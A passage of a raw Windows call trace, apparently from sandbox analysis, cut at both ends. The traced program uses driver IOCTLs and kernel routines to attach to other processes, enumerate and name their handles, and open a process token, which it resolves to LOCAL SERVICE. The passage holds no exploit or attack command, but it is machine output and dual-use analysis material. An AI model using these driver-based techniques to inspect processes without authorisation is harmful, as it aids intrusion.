(Object=0xfffffa8002251300) returned 0x4a [0104.678] ObQueryNameString (in: Object=0xfffffa8003237ca0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.678] ObfDereferenceObject (Object=0xfffffa8003237ca0) returned 0x1 [0104.678] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.678] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.678] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0104.678] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.678] PsAcquireProcessExitSynchronization () returned 0x0 [0104.678] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.678] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0104.678] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.679] PsReleaseProcessExitSynchronization () returned 0x2 [0104.679] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.679] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.679] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0104.679] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.679] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.679] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0104.679] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.679] PsAcquireProcessExitSynchronization () returned 0x0 [0104.679] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.679] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0104.679] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.679] PsReleaseProcessExitSynchronization () returned 0x2 [0104.679] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.679] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.679] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0104.679] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.679] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.679] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.679] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0104.679] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.679] PsAcquireProcessExitSynchronization () returned 0x0 [0104.679] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.679] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0104.679] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.679] PsReleaseProcessExitSynchronization () returned 0x2 [0104.679] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.679] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.679] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0104.679] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.679] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.679] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0104.680] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.680] PsAcquireProcessExitSynchronization () returned 0x0 [0104.680] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.680] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0104.680] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.680] PsReleaseProcessExitSynchronization () returned 0x2 [0104.680] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.680] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.680] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0104.680] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.680] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.680] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.680] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.680] PsAcquireProcessExitSynchronization () returned 0x0 [0104.680] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.680] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0104.680] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.680] PsReleaseProcessExitSynchronization () returned 0x2 [0104.680] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.680] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.680] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0104.680] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.680] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.680] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.680] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0104.680] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.680] PsAcquireProcessExitSynchronization () returned 0x0 [0104.680] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.680] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0104.681] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.681] PsReleaseProcessExitSynchronization () returned 0x2 [0104.681] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.681] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.681] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0104.681] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.681] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.681] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.681] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.681] PsAcquireProcessExitSynchronization () returned 0x0 [0104.681] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.681] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0104.681] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.681] PsReleaseProcessExitSynchronization () returned 0x2 [0104.681] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.681] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.681] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0104.681] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.681] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.681] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.681] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.681] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.681] PsAcquireProcessExitSynchronization () returned 0x0 [0104.681] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.681] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0104.681] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.681] PsReleaseProcessExitSynchronization () returned 0x2 [0104.681] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.681] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.681] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0104.681] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.682] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.682] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.682] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.682] PsAcquireProcessExitSynchronization () returned 0x0 [0104.682] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.682] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0104.682] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.682] PsReleaseProcessExitSynchronization () returned 0x2 [0104.682] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.682] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.682] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0104.682] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.682] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.682] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0104.682] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.682] PsAcquireProcessExitSynchronization () returned 0x0 [0104.682] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.682] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0104.682] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.682] PsReleaseProcessExitSynchronization () returned 0x2 [0104.682] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.682] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.682] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0104.682] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.682] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.682] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.682] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.682] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.682] PsAcquireProcessExitSynchronization () returned 0x0 [0104.682] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.682] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0104.682] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.683] PsReleaseProcessExitSynchronization () returned 0x2 [0104.683] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.683] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.683] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0104.683] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.683] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.683] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.683] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.683] PsAcquireProcessExitSynchronization () returned 0x0 [0104.683] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.683] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0104.683] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.683] PsReleaseProcessExitSynchronization () returned 0x2 [0104.683] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.683] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.683] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0104.683] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.683] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.683] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0104.683] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.683] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0104.683] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.683] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x25 [0104.683] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.683] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.683] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.683] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.683] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.854] CloseHandle (hObject=0xc8) returned 1 [0104.854] CloseHandle (hObject=0xc0) returned 1 [0104.855] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.855] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.855] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.855] PsAcquireProcessExitSynchronization () returned 0x0 [0104.855] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0) [0104.855] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0104.855] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.855] PsReleaseProcessExitSynchronization () returned 0x2 [0104.855] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0104.855] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.855] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0104.855] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.855] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.855] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.855] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.855] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.855] PsAcquireProcessExitSynchronization () returned 0x0 [0104.855] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff88004f095d0) [0104.855] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0104.855] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.855] PsReleaseProcessExitSynchronization () returned 0x2 [0104.855] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x23 [0104.855] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: 